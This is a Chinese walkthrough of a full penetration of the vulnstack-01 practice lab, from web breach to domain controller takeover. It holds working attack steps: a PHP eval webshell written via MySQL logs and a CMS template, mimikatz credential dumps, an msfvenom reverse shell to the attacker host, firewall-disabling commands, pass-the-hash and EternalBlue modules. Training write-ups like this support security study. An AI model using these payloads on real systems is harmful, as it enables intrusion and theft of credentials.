vulnstack-01-靶场综合渗透


一、靶场搭建

  • 靶场下载链接: https://pan.baidu.com/s/1LF48du6PnvCH6NiZO5Yqxw 提取码: 331i

  • 虚拟机统一密码:hongrisec@2019 (win2008主机/win7会提示密码已过期,按照提示修改即可,win2008我改成了hongrisec@2025,win7后面我改成了sxksec@2025)。

1.1 网络拓扑图

本靶场是一个二层网络,DMZ区+内网。

1.2 网卡和网络配置

接下来需要在本地通过vmware把三台机器的网络连通。之前搭建过[WHOAMI靶场][https://sxksec.cn/2024/12/30/zong-he-shen-tou/san-ceng-wang-luo-yu-shen-tou-ba-chang-shi-zhan/](是红日系列靶场的第七个),这里我借助以往的经验进行设置:

1)VM1-web服务器-win7:

网卡1:设置为桥接模式-172.20.10.2/32,能访问互联网。

网卡2:仅主机模式-vmnet14-192.168.93.3/24网段 (需要关机添加一块网卡)

2)攻击机kali:

设置为桥接模式,这样跟VM1同处于一个网段-172.20.10.4/32

3)VM2-域成员-win2003:

仅主机模式-vmnet14-192.168.93.10 /24网段

4)VM3-域控-win2008:

仅主机模式-vmnet14-192.168.93.2/24网段

注意:如果切换网卡模式之后ip不能及时获取更新,可以检查一下是否开启了的DHCP服务,或者也可以手动配置一下IP。

1.3 网络连通性

  • 域内主机win2003和win2008互相可以互相ping通。
  • DMZ主机win7可以ping通win2003,但是win2003ping 不通DMZ区的win7,可能是因为防火墙的原因不过也正常,关一下先。
  • DMZ主机win7可以和win2008互相ping通。
  • win7可以ping通互联网
  • 攻击机可以和win7互相ping通。
初始防火墙开启状态

这里有三种网络位置的防火墙。关闭公用网络的防火墙,kali、win2008和win2003就都可以ping通win7了。

这三种网络位置的防火墙分别有什么作用?

这三种网络位置类型(域网络位置、家庭或工作网络位置、公用网络位置)在Windows防火墙中具有不同的安全配置和作用,以适应不同的网络环境和安全需求:

  1. 域网络位置(Domain Network)
    • 通常用于连接到工作环境中的域控制器。
    • 在这种网络环境中,设备通常处于一个受信任的网络中,由组织的IT部门管理。
    • 防火墙设置可能相对宽松,因为网络中的其他设备和用户被认为是可信的。
    • 可能允许更多的内部通信和资源共享。
  2. 家庭或工作(专用)网络位置(Private Network)
    • 用于家庭、小型办公室或企业内部网络,这些网络被认为是私人和受信任的。
    • 防火墙会提供一定程度的保护,但可能会允许更多的应用程序和服务通过,以便于家庭或工作网络中的设备可以相互通信。
    • 用户通常需要手动设置哪些应用程序可以接收传入连接,但默认情况下可能会允许一些常见的家庭或工作网络应用程序。
  3. 公用网络位置(Public Network)
    • 用于咖啡店、机场、酒店等公共场所的网络,这些网络被认为是不安全的。
    • 防火墙设置通常更为严格,以防止潜在的网络攻击和未经授权的访问。
    • 默认情况下,可能会阻止所有传入连接,除非用户明确允许特定应用程序通过防火墙。
    • 建议在这种网络环境下不要进行敏感操作,如网上银行或访问公司资源。

在Windows防火墙中,用户可以根据当前所处的网络环境选择相应的网络位置,以获得适当的安全保护。例如,在公共网络环境下,用户应该选择“公用网络位置”,以确保防火墙提供最大程度的保护。在家庭或工作网络环境下,用户可以选择“家庭或工作(专用)网络位置”,以便于网络中的设备可以方便地进行通信。而在连接到公司的域网络时,用户应该选择“域网络位置”,以符合公司的安全策略和要求。

所以,从防护强度来讲,公用网络防护墙>家庭或工作网络>域网络,在关闭防火墙的时候可以按照这个顺序关闭,不需要一股脑全都关闭,有时候可能关掉公用网络的防火墙就可以了。

1.4 配置DMZ区的web服务

在 DMZ区服务器Win7主机的 C 盘找到 PhpStudy 启动 Web 服务(模拟外网 Web 站点):

开启之后,我们在物理机(我的是mac)访问一下win7,可以正常访问到PHP探针,说明web服务器部署成功。

域用户win2003也可以访问到PHP探针。

至此,靶场基本搭建完毕。

二、边界突破

2.1 端口扫描

DMZ区web服务器的ip为172.20.10.2,首先对它进行端口发现。

nmap 172.20.10.2 -sV -sC -Pn -p-   
┌──(root💀kali)-[~]
└─# nmap 172.20.10.2 -sV -sC -Pn -p-   
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2025-02-13 22:38 EST
Nmap scan report for 172.20.10.2
Host is up (0.0020s latency).
Not shown: 65524 closed ports
PORT     STATE SERVICE      VERSION
80/tcp   open  http         Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)
|_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
|_http-title: phpStudy \xE6\x8E\xA2\xE9\x92\x88 2014 
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: GOD)
1025/tcp open  msrpc        Microsoft Windows RPC
1026/tcp open  msrpc        Microsoft Windows RPC
1027/tcp open  msrpc        Microsoft Windows RPC
1028/tcp open  msrpc        Microsoft Windows RPC
1029/tcp open  msrpc        Microsoft Windows RPC
1036/tcp open  msrpc        Microsoft Windows RPC
3306/tcp open  mysql        MySQL (unauthorized)
MAC Address: 00:0C:29:82:51:0C (VMware)
Service Info: Host: STU1; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -3s, deviation: 0s, median: -3s
|_nbstat: NetBIOS name: STU1, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:82:51:0c (VMware)
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2025-02-14T03:39:57
|_  start_date: 2025-02-13T10:10:59

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 96.01 seconds

可以看到开着的端口还是蛮多的:

80、135、139、445、1025-1029、1036、3306

其中80-web端口和3306-mysql端口可以首先重点关注。

2.2 80端口(phpstudy)渗透尝试

2.2.1 信息初步分析

nmap的扫描结果显示80端口的服务组件有:Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)。apache和php的版本都比较低。

\xE6\x8E\xA2\xE9\x92\x88 解码

yakit解码:

kimi解码:不正确。

web title是phpStudy探针2014,下面的访问测试也印证了nmap扫描的结果。

php探针暴露出了一些敏感信息,包括:

  • 服务器参数信息:

服务器操作系统版本是win7、主机名STU1、管理员邮箱是admin@phpStudy.net,绝对路径是C:/phpStudy/WWW

  • PHP相关参数:

打开远程文件(allow_url_fopen)打开:可以进行远程文件包含。

允许的函数:

assert等高危函数可以用来代码执行。

  • MySQL数据库连接检测

尝试mysql的默认用户名和密码:root/root

居然能连接到数据库。数据库弱口令实锤了。

  • 函数检测

经过初步信息分析已经发现了mysql弱口令登录的问题和一些其他辅助信息。

2.2.2 目录扫描

  • dirsearch
(python3.9)  ~/dirsearch> python dirsearch.py -u http://172.20.10.2/

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12289

Target: http://172.20.10.2/

[14:20:06] Scanning:
[14:20:18] 403 -   225B - /index.php::$DATA
[14:20:19] 200 -   14KB - /l.php
[14:20:21] 301 -   238B - /phpmyadmin  ->  http://172.20.10.2/phpmyadmin/
[14:20:21] 301 -   238B - /phpMyAdmin  ->  http://172.20.10.2/phpMyAdmin/
[14:20:21] 200 -   71KB - /phpinfo.php
[14:20:21] 200 -   32KB - /phpmyadmin/ChangeLog
[14:20:21] 200 -    2KB - /phpmyadmin/README
[14:20:22] 200 -    4KB - /phpmyadmin/
[14:20:22] 200 -    4KB - /phpmyadmin/index.php
[14:20:22] 200 -    4KB - /phpMyAdmin/index.php
[14:20:22] 200 -    4KB - /phpMyAdmin/
[14:20:22] 200 -    4KB - /phpmyAdmin/
[14:20:22] 200 -    4KB - /phpMyadmin/
[14:20:25] 403 -   225B - /Trace.axd::$DATA
[14:20:26] 403 -   226B - /web.config::$DATA

Task Completed

扫描到敏感目录:phpMyAdmin

root/root 弱口令直接登录:

  • URLFinder
./URLFinder -u http://172.20.10.2/ -s all -m 3 -o res.html
         __   __   ___ _           _
 /\ /\  /__\ / /  / __(_)_ __   __| | ___ _ __
/ / \ \/ \/// /  / _\ | | '_ \ / _` |/ _ \ '__|
\ \_/ / _  \ /___ /   | | | | | (_| |  __/ |
 \___/\/ \_\____\/    |_|_| |_|\__,_|\___|_|

By: pingc0y
Update: 2023.9.9 | 已是最新版本
Github: https://github.com/pingc0y/URLFinder

Target URL: http://172.20.10.2/
Start 111 Spider...
Spider OK
Start 118 Validate...
Validate OK

22JS + 83URL -->  res.html

没有扫到phpmyadmin页面,这个工具更偏向于以深度爬虫形式进行页面信息的提取。

通过这一步,拿下了phpmyadmin的后台管理页面。

2.2.3 phpmyadmin信息分析

2.2.3.1 数据库分析

拿下phpmyadmin之后,相当于已经拿下了web服务器的数据库,可以先分析一下数据库信息。

这里有一个newyxcms的数据库,想到可能会对应某个站点(如果名字不在dirseach的字典中很难扫到)。

尝试访问:

http://172.20.10.2/newyxcms 【404】
http://172.20.10.2/yxcms 【成功看到下面的一个CMS系统】

可以在数据库中查看管理员的密码信息:

admin:168a73655bfecefdb15b14984dd2ad60

密码是一串哈希值,尝试到CMD5网站破解,但是要付费。。。

尝试admin 123456登录?

感觉这里可以尝试爆破一下,因为每次弹用户名和密码错误之后点击确定,回到登录页面,但是验证码没变还是能重复使用。

  • 确定是否有读写文件的条件

可以借助show global variables like '%secure%';命令来查看该参数。

secure file priv的值为NULL,无法读写文件。可以编辑,将它设置为空,但是提示只读。

那么回头在仔细看一下页面(也是在互联网搜索YXcms漏洞时找到的参考,没想到提示会这么明显。。。)

2.2.4 YXcms漏洞挖掘

2.2.4.1 YXcms后台登录

在首页的公告信息栏处有如下的信息:后台地址请在网址后面加上/index.php?r=admin进入,且账户名密码是admin/123456。

成功登录后台。

2.2.4.2 后台漏洞挖掘

  • SQL执行功能

无法写入文件。

  • 前台模版管理功能

前台模版处,有一个管理模版文件的功能。

尝试新建了一个yjh.php模版。

但是不知道如何使用,也不知道访问路径。

可以修改当前的模板文件,插入木马,查看index_index.php文件,分析可能是当前用的首页模版,(如果实在确定不了是哪一个,可以全插一遍)。

原内容

再次访问的时候发现输出了12345678的内容,说明一句话木马也已经执行了。

如何找到新建的模板(木马)文件?

创建的木马模版:

字典不够强大,没扫出来 beifen.rar,在根目录下面有这么一个文件。

http://172.20.10.2/beifen.rar

搜索一下index_index.php,可以看到存储的模版路径:

yxcms/protected/apps/default/view/default/yjh.php

getshell:

2.2.4 getshell

获取到的是god\administrator权限。成功拿下DMZ去的web服务系统。

2.3 Mysql日志文件getshell

除了利用修改yxcms后台模版文件插入木马getshell之外,还可以利用Mysql日志文件getshell。

2.3.1 查看日志文件的设置

  • 执行命令:show variables like '%general%'; 查看日志状态:

或者直接查看变量:

当开启 general_log 时,所执行的 SQL 语句都会出现在 stu1.log 文件中。

那么如果修改 general_log_file 的值为一个php文件,则所执行的 SQL 语句就会对应生成在对应的文件中,进而可 Getshell。

2.3.2 打开general log

SET GLOBAL general_log='on'`

除了使用命令之外,也可以直接在UI界面编辑这个参数。

2.3.3 设置日志文件

SET GLOBAL general_log_file='C:/phpStudy/www/hack.php'

2.3.4 将木马写入日志

SELECT '<?php eval($_POST["sxk"]);?>'

可以看到木马已经写入。

2.3.5 getshell

获得的是god域中的administrator权限。

三、内网信息收集

3.1 DMZ web服务器(win7)上线CS

关于CobaltStrike的具体用法,见本站《CobaltStrike》一文。

3.1.1 创建CS监听器

3.1.2 创建后门

3.1.3 投递后门并上线CS

通过蚁剑上传后门程序。

执行backdoor.exe后门程序。

成功上线CS。

3.2 失陷主机信息收集

3.2.1 mimikatz抓取哈希

beacon> logonpasswords
[*] Tasked beacon to run mimikatz's sekurlsa::logonpasswords command
[+] host called home, sent: 746578 bytes
[+] received output:

Authentication Id : 0 ; 959166 (00000000:000ea2be)
Session           : Interactive from 1
User Name         : Administrator
Domain            : GOD
Logon Server      : OWA
Logon Time        : 2025/2/13 18:11:09
SID               : S-1-5-21-2952760202-1353902439-2381784089-500
	msv :	
	 [00000003] Primary
	 * Username : Administrator
	 * Domain   : GOD
	 * LM       : edea194d76c77d87840ac10a764c7362
	 * NTLM     : 8a963371a63944419ec1adf687bb1be5
	 * SHA1     : 343f44056ed02360aead5618dd42e4614b5f70cf
	tspkg :	
	 * Username : Administrator
	 * Domain   : GOD
	 * Password : hongrisec@2019
	wdigest :	
	 * Username : Administrator
	 * Domain   : GOD
	 * Password : hongrisec@2019
	kerberos :	
	 * Username : Administrator
	 * Domain   : GOD.ORG
	 * Password : hongrisec@2019
	ssp :	
	credman :	

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 2025/2/13 18:10:57
SID               : S-1-5-19
	msv :	
	tspkg :	
	wdigest :	
	 * Username : (null)
	 * Domain   : (null)
	 * Password : (null)
	kerberos :	
	 * Username : (null)
	 * Domain   : (null)
	 * Password : (null)
	ssp :	
	credman :	

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : STU1$
Domain            : GOD
Logon Server      : (null)
Logon Time        : 2025/2/13 18:10:56
SID               : S-1-5-20
	msv :	
	 [00000003] Primary
	 * Username : STU1$
	 * Domain   : GOD
	 * NTLM     : 0ba7dcdc7f5bef947c985490b99228c1
	 * SHA1     : e5c0f994e94ef2ac378ddb8c784bfb33dda7927a
	tspkg :	
	wdigest :	
	 * Username : STU1$
	 * Domain   : GOD
	 * Password : df ee 90 18 9c 48 2d 8a e9 98 49 06 01 ca d4 7f 79 c8 19 1f ab e2 63 50 2f 54 c9 08 09 3f f0 49 82 94 6c b1 86 bb 44 57 7c 39 76 46 03 78 c3 e1 a5 74 02 f8 9c 81 b2 5a 12 e5 01 b1 53 18 ed 2c 6d 0f 71 dd 7c 7c 00 8a e7 51 56 5c 3a 11 3a 18 b2 f8 58 b4 08 0d 20 ca b8 00 72 27 be 71 d6 42 9d fb 13 d0 f8 fb f4 5a af 45 af 87 d7 20 cc 4e 68 c9 f9 67 c0 a9 7d 75 66 88 0c 8c 05 c5 88 1a bd a9 79 5b 63 cd a7 3d 19 9b 4d 93 ce 61 b9 68 39 9b 8b bd 53 2e 28 6b 5b 55 21 ee 2e 61 59 b5 4c 77 49 0e eb cc 92 31 94 5f 3a 0d d5 61 8f 1f 38 75 0e 70 bd fc 99 94 a3 80 95 49 b0 b0 84 e5 c6 0a 60 d7 52 ac 25 52 2a 62 f8 e3 8b 2a 72 b2 53 8d eb f0 ce e6 cf 0d 7a 4b 3b 03 4d 6e 74 bb d1 8d 71 32 31 1c 4f 9e b6 f4 85 d8 0d 4b b6 03 
	kerberos :	
	 * Username : stu1$
	 * Domain   : god.org
	 * Password : df ee 90 18 9c 48 2d 8a e9 98 49 06 01 ca d4 7f 79 c8 19 1f ab e2 63 50 2f 54 c9 08 09 3f f0 49 82 94 6c b1 86 bb 44 57 7c 39 76 46 03 78 c3 e1 a5 74 02 f8 9c 81 b2 5a 12 e5 01 b1 53 18 ed 2c 6d 0f 71 dd 7c 7c 00 8a e7 51 56 5c 3a 11 3a 18 b2 f8 58 b4 08 0d 20 ca b8 00 72 27 be 71 d6 42 9d fb 13 d0 f8 fb f4 5a af 45 af 87 d7 20 cc 4e 68 c9 f9 67 c0 a9 7d 75 66 88 0c 8c 05 c5 88 1a bd a9 79 5b 63 cd a7 3d 19 9b 4d 93 ce 61 b9 68 39 9b 8b bd 53 2e 28 6b 5b 55 21 ee 2e 61 59 b5 4c 77 49 0e eb cc 92 31 94 5f 3a 0d d5 61 8f 1f 38 75 0e 70 bd fc 99 94 a3 80 95 49 b0 b0 84 e5 c6 0a 60 d7 52 ac 25 52 2a 62 f8 e3 8b 2a 72 b2 53 8d eb f0 ce e6 cf 0d 7a 4b 3b 03 4d 6e 74 bb d1 8d 71 32 31 1c 4f 9e b6 f4 85 d8 0d 4b b6 03 
	ssp :	
	credman :	

Authentication Id : 0 ; 51748 (00000000:0000ca24)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 2025/2/13 18:10:56
SID               : 
	msv :	
	 [00000003] Primary
	 * Username : STU1$
	 * Domain   : GOD
	 * NTLM     : 0ba7dcdc7f5bef947c985490b99228c1
	 * SHA1     : e5c0f994e94ef2ac378ddb8c784bfb33dda7927a
	tspkg :	
	wdigest :	
	kerberos :	
	ssp :	
	credman :	

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : STU1$
Domain            : GOD
Logon Server      : (null)
Logon Time        : 2025/2/13 18:10:56
SID               : S-1-5-18
	msv :	
	tspkg :	
	wdigest :	
	 * Username : STU1$
	 * Domain   : GOD
	 * Password : df ee 90 18 9c 48 2d 8a e9 98 49 06 01 ca d4 7f 79 c8 19 1f ab e2 63 50 2f 54 c9 08 09 3f f0 49 82 94 6c b1 86 bb 44 57 7c 39 76 46 03 78 c3 e1 a5 74 02 f8 9c 81 b2 5a 12 e5 01 b1 53 18 ed 2c 6d 0f 71 dd 7c 7c 00 8a e7 51 56 5c 3a 11 3a 18 b2 f8 58 b4 08 0d 20 ca b8 00 72 27 be 71 d6 42 9d fb 13 d0 f8 fb f4 5a af 45 af 87 d7 20 cc 4e 68 c9 f9 67 c0 a9 7d 75 66 88 0c 8c 05 c5 88 1a bd a9 79 5b 63 cd a7 3d 19 9b 4d 93 ce 61 b9 68 39 9b 8b bd 53 2e 28 6b 5b 55 21 ee 2e 61 59 b5 4c 77 49 0e eb cc 92 31 94 5f 3a 0d d5 61 8f 1f 38 75 0e 70 bd fc 99 94 a3 80 95 49 b0 b0 84 e5 c6 0a 60 d7 52 ac 25 52 2a 62 f8 e3 8b 2a 72 b2 53 8d eb f0 ce e6 cf 0d 7a 4b 3b 03 4d 6e 74 bb d1 8d 71 32 31 1c 4f 9e b6 f4 85 d8 0d 4b b6 03 
	kerberos :	
	 * Username : stu1$
	 * Domain   : GOD.ORG
	 * Password : df ee 90 18 9c 48 2d 8a e9 98 49 06 01 ca d4 7f 79 c8 19 1f ab e2 63 50 2f 54 c9 08 09 3f f0 49 82 94 6c b1 86 bb 44 57 7c 39 76 46 03 78 c3 e1 a5 74 02 f8 9c 81 b2 5a 12 e5 01 b1 53 18 ed 2c 6d 0f 71 dd 7c 7c 00 8a e7 51 56 5c 3a 11 3a 18 b2 f8 58 b4 08 0d 20 ca b8 00 72 27 be 71 d6 42 9d fb 13 d0 f8 fb f4 5a af 45 af 87 d7 20 cc 4e 68 c9 f9 67 c0 a9 7d 75 66 88 0c 8c 05 c5 88 1a bd a9 79 5b 63 cd a7 3d 19 9b 4d 93 ce 61 b9 68 39 9b 8b bd 53 2e 28 6b 5b 55 21 ee 2e 61 59 b5 4c 77 49 0e eb cc 92 31 94 5f 3a 0d d5 61 8f 1f 38 75 0e 70 bd fc 99 94 a3 80 95 49 b0 b0 84 e5 c6 0a 60 d7 52 ac 25 52 2a 62 f8 e3 8b 2a 72 b2 53 8d eb f0 ce e6 cf 0d 7a 4b 3b 03 4d 6e 74 bb d1 8d 71 32 31 1c 4f 9e b6 f4 85 d8 0d 4b b6 03 
	ssp :	
	credman :	

可以看到关键的用户名/密码信息:

 msv :	
 [00000003] Primary
 * Username : Administrator
 * Domain   : GOD
 * LM       : edea194d76c77d87840ac10a764c7362
 * NTLM     : 8a963371a63944419ec1adf687bb1be5
 * SHA1     : 343f44056ed02360aead5618dd42e4614b5f70cf
tspkg :	
 * Username : Administrator
 * Domain   : GOD
 * Password : hongrisec@2019
wdigest :	
 * Username : Administrator
 * Domain   : GOD
 * Password : hongrisec@2019
kerberos :	
 * Username : Administrator
 * Domain   : GOD.ORG
 * Password : hongrisec@2019

这段内容展示了不同认证协议(如 MSV、TSPKG、WDigest 和 Kerberos)下同一个管理员账户的凭证信息。其中,msv 部分包含了哈希值,而 tspkgwdigestkerberos 部分直接显示了明文密码。

3.3 内网信息收集

3.3.1 域用户信息收集

CS执行net view:

可以看到当前域GOD中有三台主机,已经拿下的172.20.10.2,192.168网段下的192.168.93.2和192.168.93.10。

net view命令

net view 命令是 Windows 系统中的一个网络管理命令,用于查看网络中的计算机、共享资源等信息。以下是其具体用法和功能:

1)基本语法

NET VIEW [\\computername [/CACHE] | [/ALL] | /DOMAIN[:domainname]]

2)常见用法示例

  • 查看当前域中的所有计算机

    net view
  • 查看指定计算机的共享资源

    net view \\computername
  • 查看指定计算机的所有共享资源(包括隐藏共享)

    net view \\computername /ALL
  • 查看指定域中的所有计算机

    net view /DOMAIN:domainname

点击瞄准镜选项卡可以看到域环境中的目标。

四、通过抓取密码+psexec拿下域控

4.1 psexec登录

4.4.1 创建监听器

  • 创建一个windows_smb/bind_pipe监听器

4.4.2 psexec登录

然后右键选择登录模块->psexec功能:

选择口令密码、选择刚创建的监听器、选择会话,然后点击开始。

等待,但是连接建立失败了。

如果像上图所示连接失败。

那么可以尝试其他令牌:

点击开始之后等待连接建立。

还是没办法成功登录。

再试一下192.168.93.2这台主机:

登录失败。

更改登录凭证:

成功建立到内网主机192.168.93.2的beacon连接。

4.2 拿下域控

通过文件管理可以查看目标系统的文件。

可以看到C:\windows下有域控存储文件夹NTDS和核心数据文件htds.dit。

截屏2025-02-18 11.11.27

成功拿下域控。

在becon中查看获取到的权限:

搭建靶场时,将win2008(域控)的密码修改为了hongrisec@2025,但是在web服务器上使用mimikatz抓取hash时拿到了NTLM哈希值,psexec登录时指定哈希令牌就可以登录域控。

有没有其他方法拿下域空呢?后门分解。

五、域内信息收集

下面是一些常用的内网信息收集的命令。

ipconfig /all            #查看主DNS后缀,不为空通常是存在域环境的
net view                 # 查看局域网内其他主机名
net config Workstation   # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user                 # 查看本机用户列表
net user /domain         # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain         # 查看有几个域
net user 用户名 /domain   # 获取指定域用户的信息
net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain    # 查看域中某工作组
net group "domain admins" /domain  # 查看域管理员的名字
net group "domain computers" /domain  # 查看域中的其他主机名
net group "doamin controllers" /domain  # 查看域控制器主机名(可能有多台)

5.1 探测是否存在域

5.1.1 ipconfig /all

ipconfig /all  #查看主DNS后缀,不为空通常是存在域环境的
  • antsword中执行查询命令

主DNS后缀为god.org,则域环境为god.org。

  • CS中执行查询命令
shell ipconfig /all

5.1.2 net config workstation

也可以执行命令net config workstation 来查看当前计算机名、全名、用户名、系统版本、工作站、域、登录域等全面的信息。

两个反斜杠(\\

在 Windows 网络环境中,计算机名前面的两个反斜杠(\\)是一个特殊的符号,用于表示网络路径或网络资源。具体来说,\\ 表示的是一个网络共享资源的路径前缀。

  • antsword中执行查询命令

工作站域:god.org

  • CS中执行查询命令

通过计算机全名工作站域工作站域DNS名称登录域等字段推断出存在域环境,且为GOD

5.1.3 net time /domain

net time /domain # 域服务器都会同时作为时间服务器,所以使用该命令来判断主域。

运行 net time /domain 该命令后,一般会有如下三种情况:

1.存在域,但当前用户不是域用户,提示说明权限不够

C:\Users>bypass>net time /domain 发生系统错误 5 拒绝访问。

2.存在域,并且当前用户是域用户

C:\Users\Administrator>net time /domain \dc.test.com 的当前时间是 2020/10/23 21:18:37 命令成功完成。

3.当前网络环境为工作组,不存在域

C:\Users\Administrator>net time /domain 找不到域 WORKGROUP 的域控制器。

通过时间回显可以发现,时间服务器是owa.god.org,其实能够从侧面印证域为GOD,域控的计算机名是OWA。

5.2 收集域信息

5.2.1 net view /domain

查看当前网络环境中有多少个域:

net view /domain #查看当前网络环境中有多少个域
net view /domain:domainname #查看某个域中的计算机有哪些

5.2.2 net group /domain

net group /domain #查看域内的用户组(在域控上执行)

在AntSword中执行没有结果。

靶场排错:

报错内容:发生系统错误1355 指定的域不存在,或无法联系.

发现联系不到域控制器。

打开DMZ区的web服务器,配置192.168.93.0/24网段的网卡,配置DNS为域控ip。

配置完DNS之后重新执行命令,报拒绝访问的错误。

但是当前用户已经是administrator权限了。

但是在CS的becon中是可以执行了。

net group /domain在DC上执行之后,查询到当前域下的用户组。

5.2.3 net group "domain controllers" /domain

net group 组名 /domain    # 查看域中某工作组

可以看到域控的主机名是OWA

5.2.4 net view

net view                 # 查看局域网内其他主机名

确认域控主机的名称为 OWA 再执行 net view 查看局域网内其他主机信息(主机名称、IP地址).

至此,我们知道了域名、域下的分组、域控和域内主机的基本信息。

  • 域控:OWA 192.168.93.2

  • 域内用户:ROOT-TVI862UBEH 192.168.93.10

六、RDP登录DMZ区的web服务器

当前已经获取到了DMZ区web服务器的system权限,那么开启3389,让我们远程登录应该不是难事。

Win7跳板机 默认是不开启3389的,这一点从我们前期的nmap扫描也能看到;同时还有防火墙,不过防火墙我们已经在靶场搭建环节关闭了。

6.1 注册表开启3389端口

#注册表开启3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

#添加防火墙规则
netsh advfirewall firewall add rule name="Open 3389" dir=in action=allow protocol=TCP localport=3389

#关闭防火墙
netsh firewall set opmode disable   			#winsows server 2003 之前
netsh advfirewall set allprofiles state off 	#winsows server 2003 之后

由于之前防火墙关闭过了,所以先不做添加防火墙规则关闭防火墙连个操作。

  • 此外可以联动msf获取meterpreter shell,通过执行命令run post/windows/manage/enable_rdp即可开启靶机的远程桌面。

6.2 远程连接3389端口

我这里用微软提供的Windows App Beta远程连接DMZ区的web服务器的3389端口:

过程中如果需要更改密码,那就按照提示修改一下sxksec@2025

成功通过RDP远程登录到win7中。

Windows App Beta下载链接:

https://install.appcenter.ms/orgs/rdmacios-k2vy/apps/microsoft-remote-desktop-for-mac/distribution_groups/all-users-of-microsoft-remote-desktop-for-mac

点击继续。

七、内网渗透

7.1 CS联动MSF反弹meterpreter连接

7.1.1 MSF开启监听

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 172.20.10.4
set lport 7777
run

7.1.2 CS创建外部监听器

ip和端口就是msf监听的ip和端口,可以将这个CS的外部监听器理解为一个会话的容器,稍后派生的会话会附着在这个容器中,然后通过这个外部监听器将会话转接到MSF的的监听连接上。

7.1.3 派生会话

右键选择派生会话:

选择创建的外部监听器:

MSF获取到meterpreter shell:

7.2 msfvenom 创建后门反弹meterpreter连接

7.2.1 msfvenom创建后门

msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.20.10.4  LPORT=7777 -f exe -o msfvenom.exe #kali里生成msf后门文件 shell.exe

7.2.2 执行木马反弹meterpreter

蚁剑上传到 win7上 并执行:

可以看到也可以成功获取到meterpreter的shell。

7.3 msf信息收集

7.3.1 检测是否为虚拟机或蜜罐

sessions -i id # 进入某个会话
run post/windows/gather/checkvm # 检测是否为虚拟机

从检查结果来看STU1这台主机为虚拟机。

7.3.2 列举目标主机上安装的应用

run post/windows/gather/enum_applications # 枚举目标主机上安装的应用

上图所示为目标主机上安装的应用。

7.4 添加路由

# 可以用模块自动添加路由
run post/multi/manage/autoroute
#添加一条路由
run autoroute -s 192.168.52.0/24
#查看路由添加情况
run autoroute -p

可以看到,通往内网192.168.93.0/24网段的网关是会session1,说明路由已经配置了。

7.5 内网端口扫描

7.5.1 扫描域成员主机端口

先执行background 命令将当前执行的 Meterpreter 会话切换到后台(后续也可执行sessions -i 重新返回会话),然后使用 MSF 自带 auxiliary/scanner/portscan/tcp 模块扫描内网域成员主机 192.168.93.10 开放的端口:

use auxiliary/scanner/portscan/tcp
set rhosts 192.168.93.10
set ports 80,135-139,445,3306,3389
run

可以看到135、445、139端口都是开着的。

7.5.2 扫描域控主机端口

可以看到域控开启的端口有80、139、135和445端口。

7.6 永恒之蓝(ms17-010)漏洞(利用失败)

对于开启445端口的主机,永恒之蓝漏洞是优先尝试的漏洞。

7.6.1 ms17-010漏洞检测

search ms17-010
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.93.10
run
set rhosts 192.168.93.2
run

从检测结果可以看出,域控和域内主机均存在ms17-010漏洞的可能。

7.6.2 漏洞利用

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp #内网环境,需要正向shell连接
set rhosts 192.168.93.10
set rhost 192.168.93.10
run
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp #内网环境,需要正向shell连接
set rhosts 192.168.93.2
set rhost 192.168.93.2
run

上述两种参数设置,均没有成功利用永恒之蓝漏洞。

7.7 哈希传递攻击(PTH)拿下域控

【哈希传递攻击】在 kerberos、NTLM 认证过程的关键,首先就是基于用户密码 Hash 的加密,所以在域渗透中,无法破解用户密码 Hash 的情况下,也可以直接利用 Hash 来完成认证,达到攻击的目的,这就是 hash 传递攻击(Pass The Hash,简称 PTH)。如果内网主机的本地管理员账户密码相同,那么可以通过 PTH 远程登录到任意一台主机,操作简单、威力无穷。

在域环境中,利用哈希传递攻击的渗透方式往往是这样的:

  1. 获得一台域主机的权限,Dump 内存获得该主机的用户密码 Hash 值;
  2. 通过哈希传递攻击尝试登录其他主机;
  3. 继续搜集 Hash 并尝试远程登录,直到获得域管理员账户 Hash,登录域控,最终成功控制整个域。

7.7.1 CS哈希传递攻击

在4.2 节,我们通过CS的mimikatz工具拿到DMZ web服务器win7上的哈希,然后通过psexec拿下域控。其实这个过程就是PTH攻击的实现。

7.7.2 MSF哈希传递攻击

  • 抓取哈希

进入meterpreter会话,尝试抓取hash

run windows/gather/smart_hashdump #抓取hash

